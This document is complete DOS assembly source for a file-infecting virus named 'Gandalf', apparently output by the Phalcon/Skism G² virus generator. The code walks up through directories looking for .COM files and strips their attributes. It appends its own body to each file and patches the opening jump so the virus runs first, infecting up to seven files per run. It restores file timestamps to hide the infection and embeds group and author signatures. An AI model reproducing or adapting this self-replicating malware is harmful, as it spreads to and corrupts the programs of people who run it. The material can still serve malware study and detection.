; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
                
; File: GANDALF.ASM
;     Gandalf by Ender
                
                
        .model  tiny
        .code   
                
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
        org     0100h
                
carrier:
        db      0E9h,0,0                ; jmp start
                
start:
        call    next
next:
        pop     bp
        sub     bp, offset next
                
        mov     ah, 0047h               ; Get directory
        lea     si, [bp+offset origdir+1]
        cwd                             ; Default drive
        int     0021h
                
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; Set DTA
        int     0021h
                
        mov     ax, 3524h
        int     0021h
        push    es
        push    bx
                
        lea     dx, [bp+INT24]          ; ASSumes ds=cs
        mov     ax, 2524h
        int     0021h
                
        push    cs
        pop     es
                
restore_COM:
        mov     di, 0100h
        push    di
        lea     si, [bp+offset old3]
        movsb   
        movsw   
                
        mov     byte ptr [bp+numinfect], 0000h
traverse_loop:
        lea     dx, [bp+offset COMmask]
        call    infect
        cmp     [bp+numinfect], 0007h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        int     0021h
        jnc     traverse_loop           ; loop if no error
                
exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        mov     ah, 003Bh               ; restore directory
        xchg    dx, si
        int     0021h
                
        pop     dx
        pop     ds
        mov     ax, 2524h
        int     0021h
                
                
        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        int     0021h
                
return:
        ret     
                
old3            db      0cdh,20h,0
                
INT24:
        mov     al, 0003h
        iret    
                
infect:
        mov     cx, 0007h               ; all files
        mov     ah, 004Eh               ; find first
findfirstnext:
        int     0021h
        jc      return
        mov     ax, 4300h
        lea     dx, [bp+newDTA+30]
        int     0021h
        jc      return
        push    cx
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0021h
                
        mov     ax, 3D02h
        lea     dx, [bp+newDTA+30]
        int     0021h
        mov     bx, ax                  ; xchg ax,bx is more efficient
                
        mov     ax, 5700h               ; get file time/date
        int     0021h
        push    cx
        push    dx
                
        mov     ah, 003Fh
        mov     cx, 001Ah
        lea     dx, [bp+offset readbuffer]
        int     0021h
                
        mov     ax, 4202h
        xor     cx, cx
        cwd     
        int     0021h
                
        cmp     word ptr [bp+offset readbuffer], 'ZM'
        jz      jmp_close
        mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
        add     cx, heap-start+3        ; convert to filesize
        cmp     ax, cx                  ; equal if already infected
        jl      skipp
jmp_close:
        jmp     close
skipp:
                
        cmp     ax, 65535-(endheap-start) ; check if too large
        ja      jmp_close               ; Exit if so
                
        cmp     ax, (heap-start)        ; check if too small
        jb      jmp_close               ; Exit if so
                
        lea     si, [bp+offset readbuffer]
        lea     di, [bp+offset old3]
        movsb   
        movsw   
                
        sub     ax, 0003h
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 00E9h
        mov     byte ptr [bp+offset readbuffer], dl
        lea     dx, [bp+offset start]
        mov     ah, 0040h               ; concatenate virus
        mov     cx, heap-start
        int     0021h
                
        xor     cx, cx
        mov     ax, 4200h
        xor     dx, dx
        int     0021h
                
                
        mov     cx, 0003h
        lea     dx, [bp+offset readbuffer]
        mov     ah, 0040h
        int     0021h
                
        inc     [bp+numinfect]
                
close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0021h
                
        mov     ah, 003Eh
        int     0021h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        int     0021h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext
                
signature       db      '[PS/Gý]',0     ; Phalcon/Skism Gý
creator         db      'Ender',0
virusname       db      'Gandalf',0
COMmask         db      '*.COM',0
dot_dot         db      '..',0
                
heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     carrier
